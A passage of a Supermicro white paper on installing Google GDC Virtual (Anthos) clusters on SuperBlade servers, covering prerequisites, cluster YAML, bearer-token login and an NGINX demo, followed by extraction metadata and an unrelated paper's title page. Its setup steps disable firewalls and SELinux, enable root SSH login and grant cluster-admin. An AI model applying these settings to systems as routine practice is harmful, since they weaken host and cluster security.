<td>AMD Instinct MI210, 64GB, 300W HBM2e PCIe Gen4</td>
<td>1</td>
</tr>
<tr>
<td>Memory</td>
<td>MEM-DR464L-SL02-ER32</td>
<td>64GB DDR4-3200 2Rx4 LP (16Gb) ECC RDIMM</td>
<td>1</td>
</tr>
<tr>
<td>Storage</td>
<td>HDS-IMN0-SSDPELKX020T8</td>
<td>2 TB M.2 NVMe SSD</td>
<td>1</td>
</tr>
</tbody>
</table>
*Table 2 – A typical worker node deployed to support AI Inference workload on a GPU accelerated SuperBlade (SBA-4119SG)*
**Worker Node Prerequisites**
The worker nodes must meet the following prerequisites:
- **Operating System**: See [Select your operating system](#). Ubuntu 18.04 requires Linux kernel 5.4 or above.
- **Hardware Components**: See Table 1.
• **Connectivity:** Layer 3 to all other node machines.
• **NTP:** Connected to NTP services.
• **Package Manager:** apt or dnf can access the network.
• **API Access:** *.googleapis.com.
• **Load Balancers:** Must be in the same Layer 2 subnet.
• **Disable ufw:** GDC Virtual requires disabling ufw on Ubuntu nodes by executing the command `sudo systemctl stop ufw; sudo systemctl disable ufw` on each Ubuntu node.
• **RHEL:** Register RHEL nodes with RedHat and disable firewalld by executing the command `sudo systemctl stop firewalld; sudo systemctl disable firewalld`.
• **Disable SELinux:** Disable SELinux on RHEL nodes. Enabling SELinux may cause container creation/run failure. In RHEL 8, edit `/etc/selinux/config` file by changing SELINUX=enforcing to SELINUX=disabled, as shown in Figure 4. Next, execute the command `sudo reboot` to complete the configuration. Verify that executing `getenforce` shows Disable after reboot.
```bash
# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing - SELinux security policy is enforced.
# permissive - SELinux prints warnings instead of enforcing.
# disabled - No SELinux policy is loaded.
SELINUX=disabled
# SELINUXTYPE= can take one of these three values:
# targeted - Targeted processes are protected.
# minimum - Modification of targeted policy. Only selected processes are protected.
# multi - Multi Level Security protection.
SELINUXTYPE=targeted
```
*Figure 4 – Disabling SELinux in RHEL 8*
You must configure the SSH server to grant keyless login by the Administrator Workstation to install the required packages. To do this:
• Set `PermitRootLogin yes` in `/etc/ssh/sshd_config`, as shown in Figure 5.
• Restart the SSH service.
```bash
sudo systemctl restart ssh
```
• Retype the password for enabling `PermitRootLogin`
```bash
sudo passwd
```
Admin Workstation Prerequisites
The Admin Workstation creates, manages, and upgrades clusters. Table 3a lists the minimum and recommended Admin Workstation hardware requirements, and Table 3b lists the SuperBlade sample workstation configuration.
<table>
<thead>
<tr>
<th>Resource</th>
<th>Minimum</th>
<th>Recommended</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPUs / vCPUs</td>
<td>2 cores</td>
<td>4 cores</td>
</tr>
<tr>
<td>RAM</td>
<td>Ubuntu: 4 GB</td>
<td>Ubuntu: 8 GB</td>
</tr>
<tr>
<td></td>
<td>CentOS/RHEL: 6 GB</td>
<td>CentOS/RHEL: 12 GB</td>
</tr>
<tr>
<td>Storage</td>
<td>128 GB</td>
<td>256 GB</td>
</tr>
</tbody>
</table>
Table 3a - Minimum and recommended Admin Workstation hardware requirements
<table>
<thead>
<tr>
<th>ADMIN WORKSTATION Sample Config</th>
</tr>
</thead>
<tbody>
<tr>
<td>Part Type</td>
</tr>
<tr>
<td>----------</td>
</tr>
<tr>
<td>System</td>
</tr>
<tr>
<td>Processor</td>
</tr>
<tr>
<td>Memory</td>
</tr>
<tr>
<td>Storage</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
Table 3b - A typical admin node deployment using AMD powered SuperBlade
The Admin Workstation requires access to both Google Cloud and all cluster nodes to install and run bmctl for cluster deployments:
A. **Operating System:** Verify that your operating system meets the requirements described in [Select the operating system](https://cloud.google.com/anthos/clusters/docs/bare-metal/1.13/installing/os-reqs).
B. **Docker Installation:** The Administrator Workstation requires Docker for kubectl in order to manage containers.
```
# sudo apt update
# sudo apt install docker.io
# sudo groupadd docker
# sudo apt install kubectl
# sudo usermod -aG docker $USER
# newgrp docker // log out and log in to SSH to enable passwordless Docker
```
C. **Google Cloud CLI Installation:** Install google-cloud-cli to communicate with Google Cloud APIs for project registration.
```
# sudo apt-get install apt-transport-https ca-certificates gnupg
# echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list
# curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -
# sudo apt-get update && sudo apt-get install google-cloud-cli
```
D. **Google Cloud Configuration:** Login to Google Cloud and configure your project information.
- Execute `gcloud auth application-default login`, copy the URL to your browser to grant the permissions as shown in Figure 6, and then enter the token on the Administrator Workstation.
E. **Create Project:** Download bmctl to create a project configuration file. The bmctl version must be consistent with the GDC Virtual cluster. This example uses Google Anthos 1.13.1 on bare metal.
```
# mkdir ~/project_home
# cd ~/project_home
# gsutil cp gs://anthos-baremetal-release/bmctl/1.13.1/linux-amd64/bmctl .
# chmod a+x bmctl
# ./bmctl create config -c your_project_id --enable-apis --create-service-accounts --project-id=your_project_id
```
F. **Keyless SSH Setting:** GDC Virtual on bare metal configures the worker node environment via keyless SSH. Set up keyless SSH before creating the cluster. Replace the sample ID addresses below with your actual IP addresses.
```
# ssh-keygen -t rsa -f ~/.ssh/anthos-certification.key -C "Anthos Certification"
# ssh-copy-id -i ~/.ssh/anthos-certification.key.pub root@172.17.43.169
# ssh-copy-id -i ~/.ssh/anthos-certification.key.pub root@172.17.43.65
# ssh-copy-id -i ~/.ssh/anthos-certification.key.pub root@172.17.43.191
```
Network Prerequisites
GDC Virtual clusters on bare metal retrieve cluster components from the Google Cloud Container Registry and are also registered with Google Cloud Connect Agent. If your Administrator Workstation/worker node network environment is behind a proxy server, then your proxy server must allow the specific connections shown in Table 4.
<table>
<thead>
<tr>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>*.gcr.io</td>
</tr>
<tr>
<td>accounts.google.com</td>
</tr>
<tr>
<td>cloudresourcemanager.googleapis.com</td>
</tr>
<tr>
<td>compute.googleapis.com</td>
</tr>
<tr>
<td>connectgateway.googleapis.com</td>
</tr>
<tr>
<td>dl.fedoraproject.org</td>
</tr>
<tr>
<td>download.docker.com</td>
</tr>
<tr>
<td>gkeconnect.googleapis.com</td>
</tr>
<tr>
<td>gkehub.googleapis.com</td>
</tr>
<tr>
<td>gkeonprem.googleapis.com</td>
</tr>
<tr>
<td>gkeonprem.mtls.googleapis.com</td>
</tr>
<tr>
<td>iam.googleapis.com</td>
</tr>
<tr>
<td>iamcredentials.googleapis.com</td>
</tr>
<tr>
<td>logging.googleapis.com</td>
</tr>
<tr>
<td>monitoring.googleapis.com</td>
</tr>
<tr>
<td>packages.cloud.google.com</td>
</tr>
<tr>
<td>oauth2.googleapis.com</td>
</tr>
<tr>
<td>opsconfigmonitoring.googleapis.com</td>
</tr>
<tr>
<td>secrettoken.googleapis.com</td>
</tr>
<tr>
<td>servicecontrol.googleapis.com</td>
</tr>
<tr>
<td>serviceusage.googleapis.com</td>
</tr>
<tr>
<td>stackdriver.googleapis.com</td>
</tr>
<tr>
<td>storage.googleapis.com</td>
</tr>
<tr>
<td>sts.googleapis.com</td>
</tr>
<tr>
<td><a href="http://www.googleapis.com">www.googleapis.com</a></td>
</tr>
</tbody>
</table>
*Table 4 - Proxy allowed list requirements*
Figure 7 shows the logical configuration of a solution stack with a non-HA control plane, which includes 1 control plane and 4 worker nodes to run user-defined workloads. Conversely, creating a hybrid cluster with a HA control plane requires at least 3 control plane nodes.
Worker nodes only require Layer 3 connectivity, but control plane load balancers require Layer 2 connectivity. Load balancer nodes can be either the control plane nodes or a dedicated set of nodes. Load balancer nodes must meet the following requirements:
- All load balance worker nodes for a given cluster must be in the same Layer 2 domain.
- All virtual IP addresses are in the load balancer machine subnet and routable to the subnet's gateway.
- Users are responsible for allowing the ingress of load balancer traffic.
**Cluster Deployment**
Verify that all prerequisites have been completed.
Edit the configuration file for deployment. This file was created by bmctl in the previous section E and saved as `~/project_home/bmctl-workspace/your_project_id/your_project_id.yml`. Open the file and then edit it as follows:
**A. Locate the SSH key path:** Set the key path for keyless SSH for environment preparation.
- `gcrKeyPath`: `bmctl-workspace/.sa-keys/your_project_id-anthos-baremetal-gcr.json`
- `sshPrivateKeyPath`: `/home/smci/.ssh/anthos-certification.key`
- `gkeConnectAgentServiceAccountKeyPath`: `bmctl-workspace/.sa-keys/your_project_id-anthos-baremetal-connect.json`
- `gkeConnectRegisterServiceAccountKeyPath`: `bmctl-workspace/.sa-keys/your_project_id-anthos-baremetal-register.json`
- `cloudOperationsServiceAccountKeyPath`: `bmctl-workspace/.sa-keys/your_project_id-anthos-baremetal-cloud-ops.json`
**B. Meta Data Setting:** Set the name of your hybrid cluster.
```
metadata:
name: your_project_id
namespace: cluster_your_project_id
```
**C. Cluster Type:** Cluster types include admin, user, hybrid, and standalone. This example deploys a hybrid cluster.
```
type: hybrid
```
**D. Version of Google Anthos on bare metal:** The cluster version must equal bmctl.
```
anthosBareMetalVersion: 1.13.1
```
**E. Google Kubernetes Engine (GKE) Connect:** Set the project ID for Google Kubernetes Engine (GKE).
```
gkeConnect:
projectID: your_project_id
```
**F. Control Plane Node Pool:** Set the IP addresses of the control plane node pool. This example only deploys one control plane node. If you are deploying HA, then verify Layer 2 connectivity.
```
controlPlane:
nodePoolSpec:
nodes:
# Control plane node pools. Typically, this is either a single machine.
# or 3 machines if using a high availability deployment.
- address: 172.17.43.63
```
**G. Cluster Networking:** Specify the IP ranges for Kubernetes pods and services.
```
clusterNetwork:
# Pods specify the IP ranges from which pod networks are allocated.
pods:
cidrBlocks:
- 192.168.0.0/16
# Services specify the network ranges from which service virtual IPs are allocated.
# This can be any RFC1918 range that does not conflict with any other IP range
# in the cluster and node pool resources.
services:
cidrBlocks:
- 10.96.0.0/20
H. Load Balancer: Load balancers can be 'bundled' or 'manual'. This example uses 'bundled' load balancers. The control plane Virtual IP address(es) must not be in the address pool, but the ingress Virtual IP address must be in the address pool.
loadBalancer:
# Load balancer mode can be 'bundled' or 'manual'.
# In 'bundled' mode a load balancer will be installed on load balancer nodes during cluster creation.
# In 'manual' mode the cluster relies on a manually-configured external load balancer.
mode: bundled
# Load balancer port configuration
ports:
# Specifies the port the load balancer serves the Kubernetes control plane on.
# In 'manual' mode the external load balancer must be listening on this port.
controlPlaneLBPort: 443
# There are two load balancer virtual IP (VIP) addresses: one for the control plane
# and one for the L7 Ingress service. The VIPs must be in the same subnet as the load balancer nodes.
# These IP addresses do not correspond to physical network interfaces.
vips:
# ControlPlaneVIP specifies the VIP to connect to the Kubernetes API server.
# This address must not be in the address pools below.
controlPlaneVIP: 172.17.43.221
# IngressVIP specifies the VIP shared by all services for ingress traffic.
# Allowed only in non-admin clusters.
# This address must be in the address pools below.
ingressVIP: 172.17.43.222
# AddressPools is a list of non-overlapping IP ranges for the data plane load balancer.
# All addresses must be in the same subnet as the load balancer nodes.
# Address pool configuration is only valid for 'bundled' LB mode in non-admin clusters.
addressPools:
- name: pool1
addresses:
# Each address must be either in the CIDR form (1.2.3.0/24)
# or range form (1.2.3.1-1.2.3.5).
- 172.17.43.222-172.17.43.225
# A load balancer node pool can be configured to specify nodes used for load balancing.
# These nodes are part of the Kubernetes cluster and run regular workloads as well as load balancers.
# If the node pool config is absent then the control plane nodes are used.
# Node pool configuration is only valid for 'bundled' LB mode.
# nodePoolSpec:
# nodes:
# - address: <Machine 1 IP>
I. **Cluster Operations**: Configuration for logs and metrics.
clusterOperations:
# Cloud project for logs and metrics.
projectId: your_project_id
# Cloud location for logs and metrics.
location: us-central1
# Whether collection of application logs/metrics should be enabled (in addition to
# collection of system logs/metrics which correspond to system components such as
# Kubernetes control plane or cluster management agents).
# enableApplication: false
J. **Worker Nodes**: Set the pool of worker nodes.
# Node pools for worker nodes
apiVersion: baremetal.cluster.gke.io/v1
kind: NodePool
metadata:
name: node-pool-1
namespace: cluster_your_project_id
spec:
clusterName: your_project_id
Begin deploying the GDC Virtual on the configured bare metal cluster.
**A. Create Cluster:** Use bmctl to create the cluster with the configuration file you edited above. This action will take several minutes.
```
./bmctl create cluster -c your_project_id
```
**B. Verify Cluster:** Print the node status, as shown in Figure 8.
```
# kubectl --kubeconfig ~/project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig get nodes -o wide
```
<table>
<thead>
<tr>
<th>NAME</th>
<th>STATUS</th>
<th>ROLES</th>
<th>AGE</th>
<th>VERSION</th>
<th>INTERNAL-IP</th>
<th>EXTERNAL-IP</th>
<th>OS-DISTRO</th>
<th>KERNEL-VERSION</th>
<th>CONTAINER-ENVIRONMENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>node-name</td>
<td>Ready</td>
<td>worker</td>
<td>3h21m</td>
<td>v1.24.3</td>
<td>172.17.43.169</td>
<td>172.17.43.169</td>
<td>Ubuntu</td>
<td>18.04</td>
<td>/1.24.3-gke.1</td>
</tr>
<tr>
<td>node-name</td>
<td>Ready</td>
<td>worker</td>
<td>3h21m</td>
<td>v1.24.3</td>
<td>172.17.43.191</td>
<td>172.17.43.191</td>
<td>Ubuntu</td>
<td>18.04</td>
<td>/1.24.3-gke.1</td>
</tr>
<tr>
<td>node-name</td>
<td>Ready</td>
<td>worker</td>
<td>3h21m</td>
<td>v1.24.3</td>
<td>172.17.43.55</td>
<td>172.17.43.55</td>
<td>Ubuntu</td>
<td>18.04</td>
<td>/1.24.3-gke.1</td>
</tr>
<tr>
<td>node-name</td>
<td>Ready</td>
<td>worker</td>
<td>3h21m</td>
<td>v1.24.3</td>
<td>172.17.43.65</td>
<td>172.17.43.65</td>
<td>Ubuntu</td>
<td>18.04</td>
<td>/1.24.3-gke.1</td>
</tr>
</tbody>
</table>
Figure 8 – Output of Node Status
**Login to Google Kubernetes Engine Cluster**
Google Kubernetes Engine manages the cluster on the Google Cloud Platform. You can use GKE to deploy workloads and use additional applications. You can authenticate with GKE clusters via Google Identity, OIDC identity provider, or bearer tokens. This example uses bearer tokens. Obtain the required bearer tokens by creating a Kubernetes service account (KSA) in the cluster and then using its bearer token to log in.
**A. Grant roles for Google Cloud console:** You must grant roles/container.viewer and roles/gkehub.viewer to interact with connected clusters.
```
# gcloud projects add-iam-policy-binding your_project_id --
member=user:your_personal_email@email.address --role=roles/container.viewer
# gcloud projects add-iam-policy-binding your_project_id --member=user:your_personal_email@email.address --role=roles/gkehub.viewer
```
**B. Create and apply cloud-console-reader RBAC role:** Create and apply the cloud-console-reader ClusterRole to view your cluster’s resources in the Google Cloud console.
# cat <<EOF > cloud-console-reader.yaml
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: cloud-console-reader
rules:
- apiGroups: ['']
resources: ['nodes', 'persistentvolumes', 'pods']
verbs: ['get', 'list', 'watch']
- apiGroups: ['storage.k8s.io']
resources: ['storageclasses']
verbs: ['get', 'list', 'watch']
EOF
# kubectl apply -f cloud-console-reader.yaml --kubeconfig ~/.project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig
C. Service Account Setting: A bearer token is like a password. Create your own account and restrict operations by the RBAC roles held by the KSA. Please replace user_account with your user account.
# kubectl create serviceaccount user_account --kubeconfig ~/.project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig
# kubectl create clusterrolebinding user_account --clusterrole view --serviceaccount default:user_account --kubeconfig ~/.project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig
# kubectl create clusterrolebinding user_accountcloud --clusterrole cloud-console-reader --serviceaccount default:user_account --kubeconfig ~/.project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig
# kubectl create clusterrolebinding user_accountcluster --clusterrole cluster-admin --serviceaccount default:user_account --kubeconfig ~/.project_home/bmctl-workspace/your_project_id/your_project_id-kubeconfig
D. Get the Bear Token: To acquire the bearer token to login to GKE:
# kubectl apply --kubeconfig ~/project_home/bmctl-workspace/your_project_id/your_project_id-
kubeconfig -f - << __EOF__
apiversion: v1
kind: Secret
metadata:
name: "user_account-token"
annotations:
kubernetes.io/service-account.name: "user_account"
type: kubernetes.io/service-account-token
__EOF__
# until [[ $(kubectl get --kubeconfig ~/project_home/bmctl-workspace/your_project_id/your_project_id-
kubeconfig -o=jsonpath='{.data.token}' "secret/user_account-token") ]]; do
echo "waiting for token..." >&2;
sleep 1;
done
# kubectl get secret user_account-token --kubeconfig ~/project_home/bmctl-
workspace/your_project_id/your_project_id-kubeconfig -o jsonpath='{$.data.token}' | base64 -d
E. **Login via Bear Token:** Click **Log in**, then select **Token** to login, as shown in Figure 9. Copy and paste the generated token in the field, and then click **LOGIN**, as shown in Figure 10.
---
**Figure 9 – Log in to GKE Cluster**
Figure 10 – Paste the token and LOGIN
F. **Verify the Cluster Details:** You can verify the cluster details as shown in Figure 11 after a successful installation.
```
Log in to cluster
Choose the method you want to use for authentication to the cluster
☐ Use your Google identity to log-in
☐ Token
eyJhbGciOiJSUzIiNiIsImtpZCI6IlhvcjEwYXVcX0pHeWxwZFF02HRmOFdTR9
☐ Basic authentication
☐ Authenticate with Identity Provider configured for the cluster
LOGIN CLOSE
```
Figure 11 – Viewing cluster details to verify successful installation
Workload Examples
You can quickly deploy various workloads (AI inference, visual computing, 5G/Edge, or any other cloud-native application) in your on-prem environment using Supermicro SuperBlade servers with GDC Virtual via the GKE console. AMD GPU accelerated SuperBlade can be used to perform performance intensive tasks such as AI inference and large scale data processing. GKE offers GPU-specific features, such as time-sharing and multi-instance GPUs, that can improve the efficiency with which your workloads use the GPU resources on your nodes. Local users can visit services via exposed cluster ports. Google Container Registry also provides different images to help rapid deployment and securely manage private images. GDC Virtual on bare metal clusters sends regular health messages to update the health status on Google Kubernetes Engine. Google Cloud Console can display detailed information and perform further operations, such as deploying and deleting workloads.
NGINX is a well-known, free, and open-source web server that can also function as a reverse proxy, load balancer, and HTTP cache. Figure 12 shows a sample bare metal deployment of NGINX on SuperBlade servers powered by GDC Virtual.
Figure 12 – Sample workload deployment of GDC Virtual on SuperBlade bare metal
To deploy NGINX:
- **Workload Overview:** In GKE, click **Workloads** to see a workload overview, as shown in Figure 13.

- **Deploy Workloads:** Click **DEPLOY** to deploy workloads, as shown in Figure 14.

C. **Select Container Image for Deployment**: Select an image for deployment from the Google Container Registry, and then click **CONTINUE**, as shown in Figure 15.

**Figure 15 – Selecting a container image for deployment**
D. **Container Configuration**: Set the application name, namespace, and labels, as shown in Figure 16.
![Create a deployment]
**Container**
**Configuration**
A deployment is a configuration which defines how Kubernetes deploys, manages, and scales your container image. Kubernetes will ensure your system matches this configuration.
- **Application name**: nginx-demo
- **Namespace**: workload-testing
**Labels**
Use Kubernetes labels to control how workloads are scheduled to your nodes. Labels are applied to all nodes in this node pool and cannot be changed once the cluster is created.
- **Key 1**: app
- **Value 1**: nginx-demo
[+ ADD KUBERNETES LABEL]
**Configuration YAML**
Kubernetes deployments are defined declaratively using YAML files. The best practice is to store these files in version control, so you can track changes to your deployment configuration over time.
[VIEW YAML]
**Cluster**
- **Kubernetes Cluster**: anthos-validation (External cluster)
[CREATE NEW CLUSTER]
[DEPLOY]
*Figure 16 – Container configuration*
E. **Deployment Result**: Verify successful deployment, as shown in Figure 17.
```
Deployment details
nginx-demo
To let others access your deployment, expose it to create a service
---
Overview Details Revision History Events Logs YAML
Select the Cloud Monitoring account to see charts.
Cluster
Namespace
Labels
Logs
Replicas
Pod specification
Horizontal Pod Autoscaler
Active revisions
<table>
<thead>
<tr>
<th>Revision</th>
<th>Name</th>
<th>Status</th>
<th>Summary</th>
<th>Created on</th>
<th>Pods running/Pods total</th>
</tr>
</thead>
</table>
Managed pods
<table>
<thead>
<tr>
<th>Revision</th>
<th>Name</th>
<th>Status</th>
<th>Restarts</th>
<th>Created on</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>nginx-demo-77bf56d67-cdhkn</td>
<td>Running</td>
<td>0</td>
<td>Nov 15, 2022, 10:14:28 AM</td>
</tr>
<tr>
<td>1</td>
<td>nginx-demo-77bf56d67-cdhkn</td>
<td>Running</td>
<td>0</td>
<td>Nov 15, 2022, 10:14:28 AM</td>
</tr>
</tbody>
</table>
Exposing services
---
Figure 17 – Deployment Result
F. **Show the Status of Container**: Execute the command `kubectl get pods` on the Administrator Workstation to view pod status, as shown in Figure 18.
```
kubectl get pods -n workload-testing -o wide
```
<table>
<thead>
<tr>
<th>NAME</th>
<th>READY</th>
<th>STATUS</th>
<th>RESTARTS</th>
<th>AGE</th>
<th>IP</th>
<th>NODE</th>
<th>NOMINATED NODE</th>
<th>READYING GATES</th>
</tr>
</thead>
<tbody>
<tr>
<td>nginx-demo-77bf56d67-cdhkn</td>
<td>1/1</td>
<td>Running</td>
<td>0</td>
<td>6h23m</td>
<td>152.148.6.21</td>
<td><none></td>
<td><none></td>
<td><none></td>
</tr>
<tr>
<td>nginx-demo-77bf56d67-cdhkn</td>
<td>1/1</td>
<td>Running</td>
<td>0</td>
<td>6h23m</td>
<td>152.148.7.338</td>
<td><none></td>
<td><none></td>
<td><none></td>
</tr>
<tr>
<td>nginx-demo-77bf56d67-cdhkn</td>
<td>1/1</td>
<td>Running</td>
<td>0</td>
<td>6h23m</td>
<td>152.148.7.204</td>
<td><none></td>
<td><none></td>
<td><none></td>
</tr>
</tbody>
</table>
---
Figure 18 – Viewing pod status on the Admin Workstation
Solution Benefits:
Deploying GDC Virtual on Supermicro SuperBlade offers the following benefits:
- **Hardware agnostic**: Customers can leverage existing on-prem SuperBlade servers to drive data center efficiency.
- **No hypervisor layer overhead**: Deploying GDC Virtual on SuperBlade has reduced complexity.
- **Rapid deployment**: Both developers and dev-ops teams benefit from increased productivity because GDC Virtual enables rapid cloud native application development and delivery.
- **Superior performance**: Supermicro SuperBlade, powered by AMD EPYC CPUs and/or AMD Instinct accelerators, plus the advanced networking described above, delivers the performance needed to run today’s and tomorrow’s most demanding workloads on GDC Virtual. A large L3 Cache also reduces memory bandwidth pressure and reduces application latency barriers.
- **Easy manageability**: SuperBlade CMM manageability coupled with GDC Virtual management enables increased operational efficiency (offers a dashboard with a range of health checks, logging, and monitoring).
- **Optimal TCO**: Supermicro SuperBlade offers a building block solution with a Resource Saving Architecture that optimizes precious data center resources, such as power, space, and cooling.
- **Scalability**: SuperBlade enables GDC Virtual to deploy at scale across development, test, and production clusters.
Key Takeaways and Business Values
Organizations that need to keep some applications on-premises can turn to Supermicro SuperBlade servers running GDC Virtual on bare metal to transform their on-premises data center into a fully managed, fully integrated cloud region. GDC Virtual is a cloud-native application modernization platform that helps organizations move applications from legacy environments to container-based microservice architectures to reap the full benefits of cloud computing for both cloud-native and legacy applications. GDC Virtual offers a ready-to-go, on-premises platform that helps optimize setup and operating costs while extending the power of Google Kubernetes Engine to Supermicro SuperBlade servers, virtualized on-prem environments, and other public clouds. The Supermicro SuperBlade GDC Virtual solution is ideal for cloud-native workload management. Supermicro SuperBlade servers can be used as control panel nodes and worker nodes to create a GDC Virtual hybrid cluster. GDC Virtual on SuperBlade delivers consistent management, robust security features, out-of-the-box observability, and more. Supermicro SuperBlade, powered by 3rd Gen AMD EPYC processors, runs GDC Virtual with the operational efficiency and consistency needed to meet various SLAs and IT initiatives and empower increased productivity, optimized TCO, and scalability in your data center.
<table>
<thead>
<tr>
<th>BENEFITS OF DEPLOYING GDC VIRTUAL ON SUPERMICRO SUPERBLADE</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Improved productivity for development and security</strong></td>
</tr>
<tr>
<td>• Faster application development, testing, and deployment. Developers can write once and deploy anywhere.</td>
</tr>
<tr>
<td>• Consistent, unified security policy creation and enforcement.</td>
</tr>
<tr>
<td><strong>Streamlined Operational Efficiency</strong></td>
</tr>
<tr>
<td>• Reduced complexity with simplified management.</td>
</tr>
<tr>
<td>• Faster migrations – IT can quickly containerize, lift and shift applications.</td>
</tr>
<tr>
<td>• Reduced effort for releases and patching.</td>
</tr>
<tr>
<td><strong>Greener environmental impact and lower TCO</strong></td>
</tr>
<tr>
<td>• SuperBlade offers a high-density platform with 96% efficient power supplies there by reducing the carbon footprint.</td>
</tr>
<tr>
<td>• Cost optimized building block solution for GDC Virtual with lowest TCO.</td>
</tr>
</tbody>
</table>
As a Google Anthos Ready Platform Partner, Supermicro is a GDC Virtual Ready Platform Provider. We offer a robust application modernization strategy with GDC Virtual on SuperBlade. Deploying GDC Virtual on a tested and validated SuperBlade yields faster time-to-market for new features and increased customer revenue by increasing release frequencies compared to legacy approaches. GDC Virtual on bare metal SuperBlade servers helps future-proof applications by placing them adjacent to Google’s cloud services, including advanced machine learning and artificial intelligence options. SuperBlade offers high density, high performance, optimum power efficiency, and ideal Total Cost of Ownership (TCO) for fast, power efficient GDC Virtual deployments on bare metal.
|
{"Source-Url": "https://www.supermicro.com/white_paper/white_paper_Google_Anthos_on_SuperBlade.pdf", "len_cl100k_base": 10642, "olmocr-version": "0.1.53", "pdf-total-pages": 27, "total-fallback-pages": 0, "total-input-tokens": 69512, "total-output-tokens": 11537, "length": "2e13", "weborganizer": {"__label__adult": 0.0005106925964355469, "__label__art_design": 0.0008902549743652344, "__label__crime_law": 0.0005259513854980469, "__label__education_jobs": 0.0014801025390625, "__label__entertainment": 0.00028967857360839844, "__label__fashion_beauty": 0.00027632713317871094, "__label__finance_business": 0.02532958984375, "__label__food_dining": 0.0003521442413330078, "__label__games": 0.0015773773193359375, "__label__hardware": 0.016387939453125, "__label__health": 0.0005822181701660156, "__label__history": 0.00041103363037109375, "__label__home_hobbies": 0.00035119056701660156, "__label__industrial": 0.0026149749755859375, "__label__literature": 0.00030112266540527344, "__label__politics": 0.0003826618194580078, "__label__religion": 0.00048422813415527344, "__label__science_tech": 0.208740234375, "__label__social_life": 0.0001132488250732422, "__label__software": 0.2498779296875, "__label__software_dev": 0.4873046875, "__label__sports_fitness": 0.0002346038818359375, "__label__transportation": 0.0006985664367675781, "__label__travel": 0.00035643577575683594}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43717, 0.02278]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43717, 0.11202]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43717, 0.78854]], "google_gemma-3-12b-it_contains_pii": [[0, 1156, false], [1156, 4513, null], [4513, 6070, null], [6070, 7687, null], [7687, 10767, null], [10767, 11948, null], [11948, 14552, null], [14552, 16480, null], [16480, 17822, null], [17822, 19389, null], [19389, 20378, null], [20378, 22823, null], [22823, 23927, null], [23927, 25727, null], [25727, 27675, null], [27675, 28949, null], [28949, 31435, null], [31435, 32944, null], [32944, 33883, null], [33883, 34427, null], [34427, 35720, null], [35720, 36052, null], [36052, 36318, null], [36318, 37370, null], [37370, 39287, null], [39287, 42952, null], [42952, 43717, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1156, true], [1156, 4513, null], [4513, 6070, null], [6070, 7687, null], [7687, 10767, null], [10767, 11948, null], [11948, 14552, null], [14552, 16480, null], [16480, 17822, null], [17822, 19389, null], [19389, 20378, null], [20378, 22823, null], [22823, 23927, null], [23927, 25727, null], [25727, 27675, null], [27675, 28949, null], [28949, 31435, null], [31435, 32944, null], [32944, 33883, null], [33883, 34427, null], [34427, 35720, null], [35720, 36052, null], [36052, 36318, null], [36318, 37370, null], [37370, 39287, null], [39287, 42952, null], [42952, 43717, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43717, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43717, null]], "pdf_page_numbers": [[0, 1156, 1], [1156, 4513, 2], [4513, 6070, 3], [6070, 7687, 4], [7687, 10767, 5], [10767, 11948, 6], [11948, 14552, 7], [14552, 16480, 8], [16480, 17822, 9], [17822, 19389, 10], [19389, 20378, 11], [20378, 22823, 12], [22823, 23927, 13], [23927, 25727, 14], [25727, 27675, 15], [27675, 28949, 16], [28949, 31435, 17], [31435, 32944, 18], [32944, 33883, 19], [33883, 34427, 20], [34427, 35720, 21], [35720, 36052, 22], [36052, 36318, 23], [36318, 37370, 24], [37370, 39287, 25], [39287, 42952, 26], [42952, 43717, 27]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43717, 0.19068]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
3c4595785482b742902336aaa5cfddfb46837fc4
|
SOME PROBLEMS IN DISTRIBUTING REAL-TIME ADA PROGRAMS ACROSS MACHINES
Richard A. Volz
Arch W. Naylor
Trevor Mudge
John H. Mayer
April 1985
Robot Systems Division
Center for Research on Integrated Manufacturing
College of Engineering
The University of Michigan
Ann Arbor, Michigan 48109 USA
SOME PROBLEMS IN DISTRIBUTING REAL-TIME ADA PROGRAMS ACROSS MACHINES
Richard A. Volz
Arch W. Naylor
Trevor N. Mudge
John H. Mayer
